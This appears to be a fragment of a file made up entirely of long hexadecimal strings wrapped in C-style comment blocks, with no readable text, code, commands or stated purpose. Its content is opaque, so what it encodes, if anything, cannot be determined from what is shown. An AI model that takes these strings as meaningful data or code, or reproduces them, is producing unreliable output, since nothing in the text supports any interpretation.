71ad1739e9e0c9279aecbce9f7ede566845ccfaee5a15aa94e62c75a245a7fa357ec1b1c2ee62b807cb868cad9636815a8b370b05c3671126a1d22e5748ba9877e02d02c6ff6db34331aa0b4dd76a3040d9d1aa3c1ad1c0cb6fd53d88094e38d060824c0b8e67dd62fd850466443a2e7caf3170c6c0683270ebc7b8d6d45e367281b01d2abe40d19dea744177c14c2ce831ddea8c9018daafa937f904c727544d3fb91538267b6cc22da90f540c64c500ca7488d2706b0bdfe6aeb11be13694e74cb79c2c86299efcff2afbb4ecdfd38e905a9db010eb2484b08f657ef019213701515264087d0a0ab24d3e89f071e7399e1ecd1fe4764edf44c9172598997a67d372456e9e39a0db7dbd677a05383fa2cf7c6a722dc92aac45a19270e799fcbcbddcbd15961a0951de8d2c7777509fc4ead61e050781f8655a557b1ceace73406e436b9f7113ec47bb0fd7c2857c2d2871169e467e6f8a3592898b9e2bbec9ccae2563e7107d0c73e980d54b97acea5e429*/
/*7d8bc643ca608ae9d4bad498284a0e7134635fdd34f4d40b7068b78954219eaf2301a7adafbac5c1223da02d84773249a26f6b1dba381391e4796895e46a7e8b94071756b7dc11da426e939305c8ac35a25793472957c079d445435f822d0ba6b9f6e912bcdbf21b07d78835a6a1872854b108961150c583fbff9d4ae2e71cc74e93589a1e6995ebd906a7331054c8fc024dc08e3647c7a1724b5867c456f361516fb2d2b0e198020a5fc7815ec099b8838a83b3e0d20008173aab6a4a5674079a6e435bca122e943023365b5c60c9c8dabd4600f3923a80019a616d2e8fa3a57a912d6d3048ff8695081a7ae5cc01463dcef60aa30dbc33fa64503f9247f15972eb5b1e570ade71a625b7564427ed6081affb04441afdbbf05ea24bcb42389e79f9f5a130d05aa488a98cb41a5694c37217eb0c8edb441820d84ebcf6f3132cec673ce3b1540a90633a432ccb13cbf976e63d21350d4d4f01b93bc44e01f1e5112d90621717db19fab71a96e23ee0e8f2f0dad4b8026d4d339c3a199197e17bc057aa8ebce311ca4fed7ee1d4eee26a6d80de51c2fcd546d1447da0012bb86d6e1a2ca2128e173ac6b8e4b60a8d8748364859d2e8f5fcd172732cdc16dabfe879d2d3dd637e60e274dd748a9d80ea5d3310307bf3a26e0b068d7c2d4a589cf515193613ba8c0183eb13dfdb5a600b25ddd5d719975ea54b0e7bfe518f2d9cfa741dca16306645cee50177bdbd7628d01fc1fd51dc2db6d3f7307cd6aa37a64f571d46bfde41eb4a0f0b80cb4ab595e49e6bb73b957ddd194296a7f17b2fddbb418cc417c202ebd44201d074f94287c258b0940f44b61bd97d7f66cbaf9a43a42e0b54b13f796777e4d753433861a0ee247a561b9b251db78a1fd4d07160d1523bbdc65b1bff79b6b74d635d9ae7d5913447dc75158cd5b91d769ca7d427a34927f57539ce2993393df92be9c6ba9c3b66792cd31c3833b658995e31e5ef72c7c606922eefb1a22c1429620515104ec9b8894d29b6032f7b366514b8662d67ebfdbc541659d37e4f7835baa3570d11b7d1e49c397df0a6fe37ccca4a317b20ba3361b1b3a51727027547bcc8f5e01e99bb9fb0500c9dfca601a19523804c76ab6913ede636ba43c711bb6401dbb2e974645c4aa790635bd4baa6ac40512c55956586ecde561f6977999f6ff74701f3184dc21b642ebe204a8a0c48804d2b38197414c4fb6143531b3ec88de7bed402d196b9be822c5bbe7946185fca622ff1293d7f5f5d045fd67c8f1941a959b7146d5f0aa06dba7722229744755e26f382056cc1dbc5d72d3d3b5bc078d18c4cfd710ba757cb06ef80165b96784d0db87f9d624afde97831e2fdd30c8802a9a5fda605a38f4c8930d08e7ec75d97cd8f668a1660ded10079bbd9b17b9841b0ddcc5d9be6d86db10c59f1d9d4b61e8342299c2a692ea99b223cdaf9fa44f6e366265c56b8a5c5d4283fdd404daed17c070eb1d0e286b10deed951eeab6e7d278b6b659648c4ffe78eedebc81d259af5511d03dd095876d73cb60c6d430a7b414231735b2e972c3caed92653c6053733a02e2d3c42b2e77c04a812438c5fc9a0d8954212f240964992c07911fb7db8a70e4bd59aed598daebe4b8106d02b6fd5d0ebb96eed20ff451fd20812aa070038584748063f96b161fd98b2e433e1619b509de1b296b45e2860db717c342628cae3bac03b9897a68246d58d393033b4a7b21884edfec1f3ca277af6a4691e80551542e14721709f931c48002f633682d9813fd708f85a3d9eca2fef2b7c718bb486094d0af1d439f0aaf1d8ee20e238fa392820ffd773b5c672cd42423504203060371aa6446405884085fcae938b3c0aa43b976c4092f02cd9a740d42724bf49d7a62d8952c96931ff78ed401e98886474bd3b217829145d0e8eb1df79cf6db1ea074b02511757da6ec8579b3348434f95e960ab77774ee4383b7d8c5e4ece1f873b3f149a92e1bd126334534027e73e9abf66227cc78322232f5784e01f2d52b9c1422664024c49694a8a223f40aa89523883a4a8fdad47bd05d75aaa7716bb03c741863082b178190c29cd6737c87e8617aa99ea347a7906de7ab89b26c37975a9ad694cd48a0a8b8d2fb5912a3da9e828d19ef74a732c9f1c676363b5de1f04ba7b73c910db99b68bebe2d2800affe04f0a852f211afb7329e7c7139df2f26795a52749b32b6a1c2d61db29403931a4aa49010df612c19254ffda773ec5c7e5de0ebe4da434046bcc8dc750526d2f4f126ea4fa2585845a31c27042bbdaa6ae535d0063ec5835ec1fcc216fbb9df6c310de134f4beb670e86de8f4770694b4c424dc904652eb469af26c324b5af08e6a1825aa3159fc891977906a451d6d34664646df447060e9da7ced84c692940af81b3a49d27b4c328fbbc4fd9666a7f33d1d09d3e8e4dfe8c07176631e90a0bb95257461759d66320137c32ec7233115446dcdff2dbf20601bc0b240bdddd6b0ce7e8368b9e3481dd49c1df9bcfc9478efa364d79f3998aee43f5db4a0463b1a7875be0e12607493af9376d7431163c882a5d4540b6a4306223432e9af61c79c3a65d9243691d633259a6ceefa88f731ca67694de4b3777ec050e88d232fe23a7fa2c5b58ea2dfdac57a1bd78bd2ae1aab23c646e280411969b9a61442b9988e567e4817693f2a0a1260bc18d28e2222bca81e37b0f1179b4808ddaaafbf753a74e0b173ff2a6df4e18b41732eddd75c69a1cb257b8dc9dd50f6a4de1ffd000fd9552b37dddf630cfebc928d040455f366b95ba28f62501637a7753f709d5d66ee18c*/
/*6d44c5893e172abccb0aefe015903b69fd38ff485136abbc4b7093764472948a70865efc38cfde2046860170caf1ebd9a4d9cd64b1f9e05bde43b956c03b931f896cf347b2fe6057e5a402cd1394c36d62c26ae7297f6be41df3fb6ac79677e05889a559dd22b9357f976bef00e3ea7ca33bee38bcbb61493e0566e8ee92c76d5b000b3d0dd033bf5c3293e78a54630bfee12007c91d6d2b2b994d1177e78cd56c767cfc3a1f8045d9a20e70daf1e6c33eaedaab20ea1e799b9f86c9c9d01343904868008dcd780ad731451f6f587bc2472584710aee66db774d1ad0c23368e2acc117c0c90c5c58cbc4f63b5c83430e77f49fc1a8ba6562d688248e8c3790965d8c7a02e68c89608a5f57eeea90f8ed23864fd67067cdcd9b0d164a3b3b91d9fdc1ec792dd236a9fa0f5194e579798209a6df1452839c777170addb6f6d8c28d6eee988ab923fc9bf079aae9ee3b64bfe5b1e757d0d4eb1254e45ffc0323f612fdcd504a3118f00caed289148a0a42d16f2544335cc8d2b055f3540311428d727774946ebc2f713950cd3c15d07a141b35563200286c09e5c2f2735b15d439d939173bf3c9bd62ffc30793ef1185ced0b10deed01db3c243b3dd454ec7cc5f1b33a8406a64e37487d83d1362153605bc698c71dfb28c7ba83de4765a0bc2a5d76d0dccdc3dcdbfab82c715eeecbd73bfa20a36d51d40c062a0e4ce9cf6d2048a7b564a5b4ae323b8587a9c3752aa66f48d7fab8521f5f7e1a078ab987af8d1a7b6061ece328e02e30263481e327b74574c09cf8e7b1bb671b2f60dbe62642c2f2eeac1233f82a8c2124a92efdd3978559b1bca2f5d857cfa4aad2bc3aa8650774d7520728b1843917ec15665dfc15feb5302fc73704e70115ec1be08c024e7dc1c1c998d169fea98fde564847a63367cd6183577bd70914d5b459ad8c301867abdad5bf5ddfcf3b8da241b909551f93bc75069b21929162b8f7118f1c55c14aa423c9bd0172b4f0c050cff7e7d6dca54887718cdea9b49251bceb45265f9dd7a3b78243e58841b63bf88446778f1b5b182f485f6e922779428745e9ac5089de27ff7fd002028145bdef347fa7e0cd2a1e97a77ba1666ca1fa541d1fa288e5118dc72f49bc973e809f61d959fa25a359aaf593bef0d1f676c705982d6b76c242c99d51c171e4e9d7a2abdd824903b7b4e8c8e107f570d067e55bbaa10862908137b2349f605a521ec269925efcbadafbb3f078711cc3a0e0f1a9465843aa48881d5a248aa022cbe7ef33cc064f1069aa955bfea8529c443572a5e69d6bc5a2e33fd89c7c85d83f91e8285a03dba9192ffb0b3b04d348515793f05de56e4d38e4d705da3dd5e0fc23d26a14432418df9cfdce7eeff62cc101c36923f421578c5b205074660f6f590e2af55729047b3286fe55fa4262b5d25d915a15494d1134d12b8aecbfb589a56d0376a738925295b14d387f0753234fe6c7e72870b2ca3ab395b15c86be082182bdee59687db5fc13c9eec7c3d5332345dee74e8ca6d6a21e0499d3cc629267d9c31706b12c42a504e1b72e6e10caa7a870d72416f7638bb32d1a550d6b09ab4a91e67167e0d7f2b39726cc7cb519e639442d4d2a427c31cb1f17427592508f412215bbfef9884dad2d8e10777abe677509e97aed327312569707599e94bf454244579a282b22944fdcd12dbdb46e5f502c10098fdffcd9777cd849e1b4d80ac4a716a3f7afe00fa628319619fb345891717dd773d3aab4aede794a970afdb527ba34f8e5055f472fafb85a1f1ca833a1d20c68c38a9d2c459acff2ae31c6473cfb7639926717b8aaf8b5540e730881adf512cfa25878b25eda0855e7964c1fe289061be5cd356364b90eb37c5c014dabb2d18d1ae36e0c1fa0794ffc8c63bc5c21c472ff93a529b29bbc924686747dfa81eee40f5758dfa1f7134a17ac986f368867dd61250660aaf8e95de42ed10727763809866fd2a75e60f58ab1dd285d7628374f2d651a0639f22c8fed8b99d0fcc809c4edebe6f84e919a775d0ada3e1c431fb59e3cebbacc8f2cb31fa7834ab052c3d83cbca196a0b7686b50b178cc7a1aaf28123cb53ee585b5ab9db3302a10eea7b87139fef629ce787f7c515370be06da5d08068e9b00abe4a053de3ebabccd9069eeba448e3dbdf3e2e6ab94a9607d0fb43dee416225f55abac6a9dccced5da85f1972e89532a8a8db4ec20a36ce57488df3740bec686fd9c39c6dd7d6aa973514ec434c4e15af27fe7dab47a9ff733351a542e85e03c2d898cf571b3653b06c6afbdc566fb1340b04be0671bf79e6158f9c820dba7e3a1960509ce3438c5b17ba9e272a4b0ff7606cc1d26e78c11c53eb3b3406aae89227865051e5fb51dd3b734e289b5f0f1b8a888458db8bf84f594e464454221be25a5595b7044cc59972b94a34821f5f065a561ce115ef13698e7e2c1c41f6cffa0c2e1b45510e9e940ccbe00a4f75dcc30d593fe587c844926e07bfa8ba9836e5df4dc86e37a4c3e0e224144e1c7c39205a973ee9db28d140fd579995dace7b435770ebbbb014a0cb5586544e0b3660d57f4884a4023b2851a80e212655fe8374cb3effc375122a83dd2a6bc973ba0c372f90f82c48307f8363fa4160c96db533b0e8e359d9119abbe1b52c280c8d795a0c8f5ef07a6ffcfc5bdc9e71761df1e758a29d232b69ddd7cc04621b91bce0fd99b6c59a5db0476fd28c987cb860c905fccdfabb9d3ee3b6ed334a22b5b684596744485efb2bd544fe533304e307bba80fd5de7d35a01d595fbdb6cdd115568f812b5392bcb4d1844152dfb3f13185*/
/*015e1caf82ac4d58789f706ab767028c1c7298e1f2362f4cdd202e39c5b78f069c970a62020deac3c89244993c2388cf47d81d173d5ad25512af8bf183593efeb22b0b245581804e640a26b5bd60f3eb75324e0e187be6c177c9dddd7bf80b42687d6cb373504766584f8e2511443b295454e508d1387434022938955d5225e72bff5e8377126f45453570ba30ae4d83ea823878a82033db3f90436ba15f4ce5322be6a2ce2dd6422582aaa28ad5e1817f4dfd1da9e6944e74abf255f8fd2cf89e001fe41942aa24de8d1055983f08dfe4711d89fda0f0e0759518bf6c2afe85a311b90d0db0d8b23de39289e1c62af79444917bc30979fe2051cb2b28b1adca8b2bd866e06ec9ec08b5e671e3bd84b57a8d0351aef4643fdac869355dee5bca5c8078b43c7317b8427f46247ce258c9fbf8b2019c3180572d72093bf4f7b8eb695a02d56bb72b1fe347ca862dda54a053713270a048837fd3703f4cabcf0ccdbc1bf68855d32540ec56daade2e24e508581d40691787ea9deb364f207550f57b2ed17c3c75b75431cddee99e47f3db63a3f1d32aa2bf6997c0ccfe34d02d6fe542a46c3f123d1e73b21239034c2240e87851b128b6163c1565d46b39ab090243d2fcd10f2b9f88649b5080742902d1d9c11e26f78a45944163c8e2f526811002473ec735635bb0e5993ca9e5a008aa3d028e1ed637751233b27bfe8721c290150bd8c562093acbf5d54cef6b04a1d15a30e7f20ef0cb1c926623da402d968460a840ab9124dcf95051b32fffd9e6d1ca17fd0c2550b2f7d617117c311d93b6e952a8fd452b39af3c56c72e31ffb2f6091aa3db0a5daad458bde54abb00c86f98d0b920f2126ad52874397113f7f96770f8bbd8899859b32c480165ac8dca7b0ab4a22c0fedecc5eb43d6b6f183b4c32c9fef57899a238972c02ec5725dfd76ad3edf1a01c19223d2f4cf76ce9d3e2f674bb221159fbbff984ef0fa69d4647bae9fd81dd0349851f892837bae318dd89835592980952c4c83dd7cce913823d30b9895994f8f8d4db5b35b443500bd8eb180843a94b88963734929b099921c4569c5bd6878015f733c5f7a8d53c2f37ccf08a4be079beaa35cabc119c1f31aaf266d724e469ec3132116cd7ff2486667cd69134b050bc73ec7ee3765241be4ca563e67f5e9d96d65caee33c56bb3a471ea6773e5694ccb933406367186799542628e12971ae92cca3172aed8bae00a56f189781965c81380591ce13e4ae539524e82dc03f22ccc14108bddbecaa989e5e7d8cb7ddfbf10ff989fa640030e3f9d7ce31e035b8a8e511022fc7c799a2460ee4fb9b0877f598218b1a93abd4c3e38b3108159b6493ad7f75c279642338e47c1eb248503490a7ab87fda92e682659b9d2e5c630d66b880cef13998e7fefdde85169312b2714a16586773b6b1c3e9702599996462573e6f6ec9c9ba632034e0d4bbcd544e4d3d9afe5d705c332da0d6a0b7dcbbf049707e2779b284c82d41bd5f6f19c5b3634a0d16c6bf5e431d3a91fc39466ed6ca03e60d90b32bb2c8074468ce80f5347efdaf7380ff5f566c631dabfe105f7b4219def7408fb25bdb31c0c7fb4bd6d81416bbb137a400d5ad9d5a54c3d10a4722ba84bbc334a4d60cf22daef5411ef163941ade961f4b95bd68c2b64893f6c1779782c098f44b99d9289eb6ceac588ff2f3b9562497ebc7e3632787cf7c8a4594010d38266599c82e6849205f5467232d733e25812ecd0dd02042576aaeb0169a68c1cd856234a95318a69feaa5b7ff44b6e3cd95a86c7f0964db8f7623fde5c9668272afbeeedf7ec01a5d6f24d15faa8b9f19b9feae661e897404fe2141e3d93046605f0e65c5c65220002594d2cea028ff83cf695fba98990eb5c1989572bd8d63b7e80712fa05f2678f9f4f7928296abf5bc933b5215030d7c65be9122c798957b4da5a2ea1b262727a4bf468e89c377f47f24a804e4e16947f9d7782044423027d73d5815a47df51d874c0a6024912899c6fcc221590ceb5a1d8bb97126a0b6c642a6acff202a3dd290eff8f6a14bcea82391553a34a3ee739f0c7428a27ee5d9229afa8e4d6809e7febf8d69ce5e75a56b1587200759465cfce3572076ba7020190a1580620ecf50691b3a02297ee5f41b5ad2da535fe0d0c4bcaf64d1493f694b6136b2b1b9408728f87b8c85d5cb1bba4dcb426109c9f3b957e3bcb4a118367d50adad3fac98b6400fa60fe64146e2b0000c0556355d8c45ef970826fdb9bacd128625540a9e5bbc759a8cd55e72088224024366cbd79d861fc3d1b4cd4887c2d360c44c66c109d942a9888a87aad3c688dcd9d8c6ce14905f3ed5b441da3756ff3cf9fc23e1491ca117a044452ea83b0920133510a44f1e66c35a704163c54bae9734f2cbf8d424209907522272bf54eaf647e6d3c30bc3d26ee2d373fbbfc4228459f75cde863562e60f10d849c2fa01a8b3ee786473d17e44538c9335c62471798ed9ae22852e22eac06c65a28a4e16e3b122c9273c7aed3e8c498a19b65a9ebac9f1a60dc19ecf1d2b00e336b579082774ca2c47303cc0e2ebc314e35ff97320aeb4317f340458a5b55e97a0e2d817ab60a1adefe133c193cf58cc9772bc1d80e654f1e49a504795215e7fbde622950bab2274501f85d3f0015ea196f23478e24dbfca0d97b3f050b025bfd7347de2b69f6baa6491c70555248d33a8ce4b9726d5b55ac8e9f0e1ca8562589b9b2b6dedeca196d044734b60d5b6827bfca918988d0f990e654b6edb847c5c1ac58fd5a3e1cc8b7966450b1a3c521acb143f91392a6f3f3198*/
/*d1118187eb7023adddfa5899410e2a56fbdce7d7a59a12c7996831cddfc5be5f072abd6c5d74d764ac98cc67886005fb8d7240727dc6d5d95bbd20b5b93ced3d9255fed57c78fbf8cea3dc59bcd2f4251f129084597a3b1202deeb446c201c3337847d07db2cd37220f0c4fc554f46396cca645dfca72eb27ef35b7a23571d1d01286a60569fdcefca3ef8cee3f20d8abfc7dc7f7939cbb4df8194019daa4824e165cd7969d887b3619c82f600356e6b038ad0e8bcaba7faa282ba8cdce1b4f080b6be6470e02c0ac04c3bc8a3d6ea9b5b4d5ead7c348ac9651c9007a6f31387aed59ead6043a0492ffcd19f0dacdb574442dc69a7596329d9292c77f04038e9459d8c2aa3093bcb2874af0402e2377cbbc2092c7cc0ea7d95102323a18b063dce17fc04e962fd64881cb4d85930b0e506029d35ac3c1fee60a333301bdd89a8ad01e64fe4e4b2af06e1f9000cddfd877490a8019fad872d16f0171bd82406fe7d8804cde23762fd4ba04f13d2c0cbd09ad213d67e5b017b645259860ee3e100bc5a8af769333e6e959d384177ae793fda81989c30f60f9742c935bc06dcd40beb489fcdffd3de8c2b5c7c402dd4d7e430b4ca930b48792967dcb5fc56b545df94f632df040a29882dc48847146e70f8e929272169288a6aaea76aac3aa78ecb64016b784711f1b8892b2de010da96b73cbf8048e2177cbe98ea3cb7323c5efffe8926be15ed373084311e520b958109ff88bf836d0e3177871a171018624570b9f08ba448e65b26868a0891a76610ad5e38aa4ba0ff8a0b9985e31a75f75492417fc57f0ae84ea6f559b8f70a66a2820b9f96e683b1d4bf6e280a811bc7222df4eab463064f7211e356ea14e2f846ab31bd2693ed48e362aa945b8fec6768a620e30f95fee7fe034ed0b19201c5ee2f50e64ce5e9cd15bdac0184a3bec44dce7f0aa1b5e8c4f4fedf67fe2628fbd4cbdeaa4d532f936665685ef04c755924786fd44a0d1ec8327f06363e6d629f916e7515f3c03d202b2ed060fbb0e6957f4b0abac2aea82daef1f948b6a360707426f2081d8ae03f95df70fe05acf08140d1f3980c3abb799307e705d6af58df8fbb72232a585dcf0f731491332c4eab7ba4a57265a5149eb6d4aa8711709c68878488423251dc957baf92933549a4ed858a9fd215a8d760736cfc0640dcf988b6d1312aad0b215f3c539826cdd2812198b721c8a065c652da6dda9d3d7289a6680b506bb712eb17bef1f10265eb6fdff5f277867be0d2e857f78f8e0613158bb6a0773349447ddff2a68a10573545e9589ac45e2fbea1c430c0049e583283e86bfd8767dc7986c393559f5025ae60b33381812d984adf6251fe8f9bc32e009a7306d5d90291f30540bc4784e49f1e65adf22bdf4c1611b7234ecef40e7a8be6144c7cc78d4693b1e4aaca690224fb17093fe453fffcba1d04f004536d858a938f03b102465264f05c280607148885a8ca2ce866e5e5147471af55b1efd1476e6f9538099270460f6b249c46035b02ccd3d8d54114878ebec6f2b1f4d3c6133c1c024cfc323319983b0c7707ff6141d232b2858716bae3a42da6f44ac7210e58513038913f3297b6a3899ea6522d0253b6022943672089941eb4ffd210d31e9f4a1041963447d5e6b3003af69635255d126058cab690ce4cdc6949d7fdb59b8eb63bc0f3e348e913c227e4a5f591ab70f8de5b9eb9c1bcc6b4633678448c97ccba91524275f9897366f550d5fa55715f7ba4a27971944f96df03432a3a8eabab57bbe11026b0e1d1cf0cc0744210b976b4c87f34abc29e2d1806072b76e6d8a6519ed6003283b9ea03adc6f76f31c315e484a6c19cb119f0b170ca2b635ba688ffd9e46b896e34240cec51e5af997b4ae6caf00d4ed2283908bf9587bdabbed329f7efa1fd5d7cd5d00cddaed29cca565724c7058ca813bdf32f3c6c2ddfe24c1ab60ba67ac199ccca7c35e2d4abc5f3974dbe5269a0136f808829a974e5db00e54da65b0a017055b44f2ac92a5c9196bf09caba8f248f8d3232fcb77dc76cfb2b0d11a3ccffa74c7e921213d6e841668b748b3c35fbafe7d559db510c50b9a162a4b1153b60bc9d1695b626013f4affba1766ddf4535f711db960f1087f9849c7ae9ee66a8704b130acc4f6000b1f61577b30ced349d32589f839689748703d51143cfa43ae55814a8ea9abac7a134fa0299b48cc4d90a24913ee22ed3b12c180fdce5423cdde3fc392c2f9bf006dacf4bc5402d0d504bcc5fafe9429e08e7db0c0b925adf7117b896de6adf4529f2bd2f94399acab22081a798cf90fe2597014ee24973d0e674bdb1c263e60e15405af05d55cc6b63fd284ae37e3e86fe7e58badabda652031e74837062711700f491698763a41600376c7d657acd89ff59a7b5c19dc983f88da74e98cb1483a23c5b88ba86845978564dd4e623b07b8b728eae25f1c42b31197528df7e01712ddffdda5702ec4da3615bff5116ca29a489e406c2bbd8e0fc2611c846128b519dfda48b15a1fbd47af9ec3507f33f71009d7948ab16a9af02f648e7a8d0826587f1c78f8421615c62ce01483e019b03eb8422b399c57a4e8223bd97e0e732c84979c7e8bc69554092202d53c9a7f897ec0d34712e7f9da8ef659248fb5c26ce09539af6f31554ec0d3c0e38fb66598834c3a27181c4ee852f69cd0fb9f044734888402962f875492ff66aaf4fef458fcfdbeaeb33a1a961d77621df0fa134fd1879e575734d0256cc51ab9d9c30a0bdcb09112b41f5436b3200b0f3354a990a4900714dd7c4eb5ac4dcc26d98a4501e082839c02*/
/*855e81ca6b0e19732c1278f20fb921e3a8f7430b2d5d03e6de2fb600b20892da55cbc51004b1dc55377630fe077989458ecf92cfff6afce8d1b7e337185ad6e9c3d086960cc960e536bff6289d78935b9946dab262a06c92b49313082e4dff630ea1b45b934654daa176ea3e3dff5650a83c9684baf27ca580bce0d4aeccd096332879bdda573f5f85d2ca4dd6b06beaa197afa90968b5d9655d14cea34d1cc1e95a0946011ee76b6acab989622262809742298c270243bab3e5053db8178cd3271bc5d928a1df4cb80336aeae8ef125158dcf8b0007fd166c54b209dcceef4fff49adefd53ed436506a00979b081a46b8ffeeeb096b8fe8895db5472fd459c69ac2b6c26d986074a7b25d71494aa6bb1911fdce36a601b8460356cc4fed01d3a6b44885f6fab4687e72c8bb232d16fbbc14398b0e82d7c1a28e0d1323952692476404375c47f1eceeb41c0327e6e9f2b8df12699ed52b9898a04ddf1003eb595838bc13abee1993c10e250e4557882e4d7fb17e71beaa56fe82dc6ea786311d091bfeee68c5d8de81677a4dadebb8dcbdb01ddbe66e365395cbf7d1791377849698b127b2b8bc6aac7f56178576dc6690f375fc0b641274216f6e960c80a4acec81582e00006ea78e7a71c29ec1355f79c8cb340e8f1b78085b532e244efefe1e9464f6a9f99cfac4e1ccf84ac1849e35d5d3c1414d07dff6bf8f269ec7b6ff0be90e6ada20df9ba732d1156ad65e9c35521a17010485c450befd9cc55fe134d73fb0b7e1cac9eaf2530cd087387c2643ca0fd4b9199a31cf0d01acdee0c14cbd6de1908b6530bf1874d21d3fc8036cf218583cc8272750955c0478fee509a335827dcea6de1605862e15c1cb73c8a03481293bcbc30922090f43e82a2811ebe9f41bd21133d0b624039d40a20f5cdf48cb89dfffa0d7bfca8dc06ffd7739636385c028ab32ac3be29e777c8a665f9ca83385c6f9fa468e94f698e318543f53f533f3f0b50f2177643bc47cd4fe856f7d741216a8ceb71e298bf6845b643a4c81a867906d80e4a23c9476fd12d6fde8341fd4f2ba13eb82d2b51a47d893337666d50b8d181b393d7b06f9940d278daa89be8c7591bc4adc50f39f65417286ab04c2aac0d1eedc562f19626812d4764f5c54806b3940ed43642e149b45c8e0431e0278c1357ec4366afd3f5e48168fa4d846bf2185e6e223d8c667f4cd7e5c7e74b1dc6816f6432a4d3ad51bb5cdc8ed624ac231c5de1b2becb207d553d7c029c042ca5b6747a0f20e290d19204fcddd43160613961662068f54fdf1aab66bb9cc38933a9984641425701bfa3cd91ba890332466a640b1420cf8bfb43f437c7b821de3445ce880ff35ea9c52acf06ecd4be0dd9980bc62c8f93836dee3ef000e2efce87f6868c06ffb7ea07cf45e319720fcf9a88e3064cb4b62495be2f9b90ffb2ac727b909da9800e2f84c5f704d42a30d6a35493aa80bc9c31e03828cdc34e06e5c4b53d7efc447f5b4a836b7533862acc92a2a5fae00cbed3e4c2fe4ecf471d3ab34f7c08063033b98a185a5062871fe8108a853c1453c3e386635cc003bf3c3216d8ecf8fdf2e96f322a256bb7a855f87f7f992bdf776104088ea6b0a902f92be256c20fc164d2a43b759d449c5768c0b50f8b38e931c113d6e0ac3e08ccb14c96256fa3315dc2e81573e936807b098cab26f0c3999c5ab04466ba270fd23b09a12ae359efe9605356b71510d3ad30943354ea50f9e8dde4573596463e2bcecb79e86b2c44ef001f8956abe55f09aa3ad3129bfa061cd099c756a914498677de90ee80b8ac4765ec5f45e4d1a070fb27053991b00b89bbba03b000860d8b094628e9ed70da2413bfde6b5977ef069b09823edb85d8578910d679ba1a7d596b063db68c9bbc98d52cf78c25f7542329fe3a76d544420771125509ec91145f920ee24bd5d080e92809b4ca34cca03af2dc2c86e1d6b165a46a9bcc8d1a9906ddbb7e56a72cbbdf8da16e770cc36213bbe3d6166d8dec03f313b6e06fa00c1ed0b9d7cc73f5026abce4214cb284877acc15ea6caccdea128e84e36923bc3aeceac7e13491cb6d844e3364c44305ca8388cc8ad9caf0d89807129ff7b4aab327ab255dc60d9af9c51feaad8cac9e3c3e7dda087a162e64599c8c0523c083ae671bf6294252e0d3342a1ed2981d0edc4dcabfdcdb1e0a1129eca04b114daaaafeb6e77fb06dc1f3e1d7548b297e2d739b39737e932b67f6142635c36eebbbd6eb262fa9305a0f70415df754f3a51a4f033dd234f08276e7391418a8594c1f1512a0c247558436800b7fbad6a13e438255543ee39846ce213b49313a8ff5b32b461f679e1c275e210a44442722526432f56c1d553bc73cfdfb9ca54783307912efbd2a34f54734fa97703572aabe96ac8dc20abaa47d92dfc20ba976c1db0139fdae548ad040b39b4686810d3409465c23a7293edd5446200daa476124e1af7e99ae211914fce938126ad7494e9069a6481c17e4c0320a341b2bc5180755dd36fe39561979e02f96bed3b506a0885bee0e0f66fa9c8a6b30d6d934e723e2e2d19d16c6e66082ab2ca5cef48e0f6f052afdd2bd46272c5c524596403dde53f2bc8f838a7bc3b536fe8e08eee14da7bec62e6d82b3c2686451d8abb63b0ca70dc55ebbfb320dd87a5cac0c9310a1d14f1f0cfde2815c0108e58510db95c080f33fdf5fe81b1bfb8709d3e9e79794550368e555f68bc45a600514f2eff5b21334c7a735727f06014db3729a5ac0ff58d3c8c053a0e4c33a7c3e1c33bddd276315097ff161a0706db3072b7bb9755577b89a5*/
/*e685fff660f25a05088a512ed599a216eb1c8a160dfc8902d136c547db6cad6a9d811862c14640f2b604cc0c75a47a56759dd176cf372afc2117091d47798f73dc9844bc84b080eabac630d36b0809910b380b06a88b711bbd85ccd1fb36cb4c428385ecee94c75a86ebe919ec43604e1d2b5d50f5aedb682167e5abb0d249e3e75d09f20e373c38886ee2c218aecc068307d63042d127764c5b7f3c1f0581f3d35feb382c0289899920e13fae9f0b392041dfb1c278ea05a2754e631a9a81acd049ecfe7067fae9ee420ec2cfa4049104203a3d90dedad6bb3483a516e6d6f7cec86b87b931f0f1888611e8af48aa8ec5dfebe8f6e9dab543f4a8a59ede1a6f9c89f18b502fae738ca073507d26ed2481b91b17fe5351b0e1ffecbf0eb73f67787109e86ed94df84b85bfab0d83bcbe3e02570b839cdec5d78b2a9505d795980efdd871e936f539208cd3f87f8ff212befac84bdccce4c79d608b6e6003f693c39042c1a11d36717d60b7e1108a024d9943ab92e9d3b7425b49c306e455f712e74b082fd4d3e32174376c5312c16aef8cdf643791cf8fba26679e719215cb6e5cf51632b2fdd39d7d9b423c812391b35eb96be7b9be02cb6ce90f41203d065be48fe61d841596b64952a4ac7ddae81da8f843193affbb79df6d0eeb1df60df26f68fdd2549eb0e078bc452582947f4485cf38f8a748f1cc6257277fa018b102d6763229978eeac07de6b171671efb1b5219c3043a7340c31f42e07c2c6014370b254f4de8f80bcf4ba8673d07330b585602e4d5696094da26f6980002ae23165ac954b1e51a02c63c2ba21ae4b5d67992ee29da587e71a0a6e49eaedb0e34ce20a5217a53fe12af42cf7f67452ffb45b690f6c42325fd9d438cd71e66104dbb847c6431615ebc39368abf6a8bd2f75ba8e13687ccee9dac2b318354e72129f6588411a9a5494ee0ff8a6b60ab986e19d5ea05dd0ac4ea1e3a4934d6be300d855fbc184e5ec81b9c5ffc09cad4fe6309a1a75752e520631450528a4cfd1b1d33880e4fcb2db91329aaf06d20a7f54035ef666fa2874fc9b029e2dde381b402f0228bc35be0569a7d43d25fe1de7f38c8f89d84f33a538127193978e9a456415e2217da98b5a9c132fd9281d965015044b98504ec1a0508877ef7da563f7a30fd21255e027f1cfdafbe211cff2c3cad2d98379aee41d5f1505234ce67f836cdcf5128b1ffee152638591d9026ca23c74e0de3e0c0b58d096a29133c249c7c6754e9ff3aececca45459c76b2008824250c324f52628d20b5cc79d11c87be41e6f33a00ba3041a5e40b3f9000407042b32f843797aa2f184e8cd7541b7a3a7ade5bb0aace134fa309c2e57bc077b5f04f60543d65b82b2361f609ac71ac6a91de7305c24a11d654dad76b2f11914597f65ebe3785690edccf513bddf370dd9e1baa15e96c2b18ecd9b8c00bdf5b7ec430b4f9c9be9ec22018e507f367bd6226ff22734d0e33732a1b5e30a23a80ba2803b19bd284815d6f416b956b9d9d926f477213b7e67b0eb0951aba6f9c76a87bd8adb6d1441c6ee50a8a3db231fefca3a30e92425719e9757f552387329c9043e27498dea63888c061e7dc43e5bd16f75081950bc1d16964827e0f8e2953241e6f1f59f3828d2a41e0b370c785aa07021411656e648c361b9e6ad6127d5c26d91ae5ef6b48724f42a8fc5d79190447d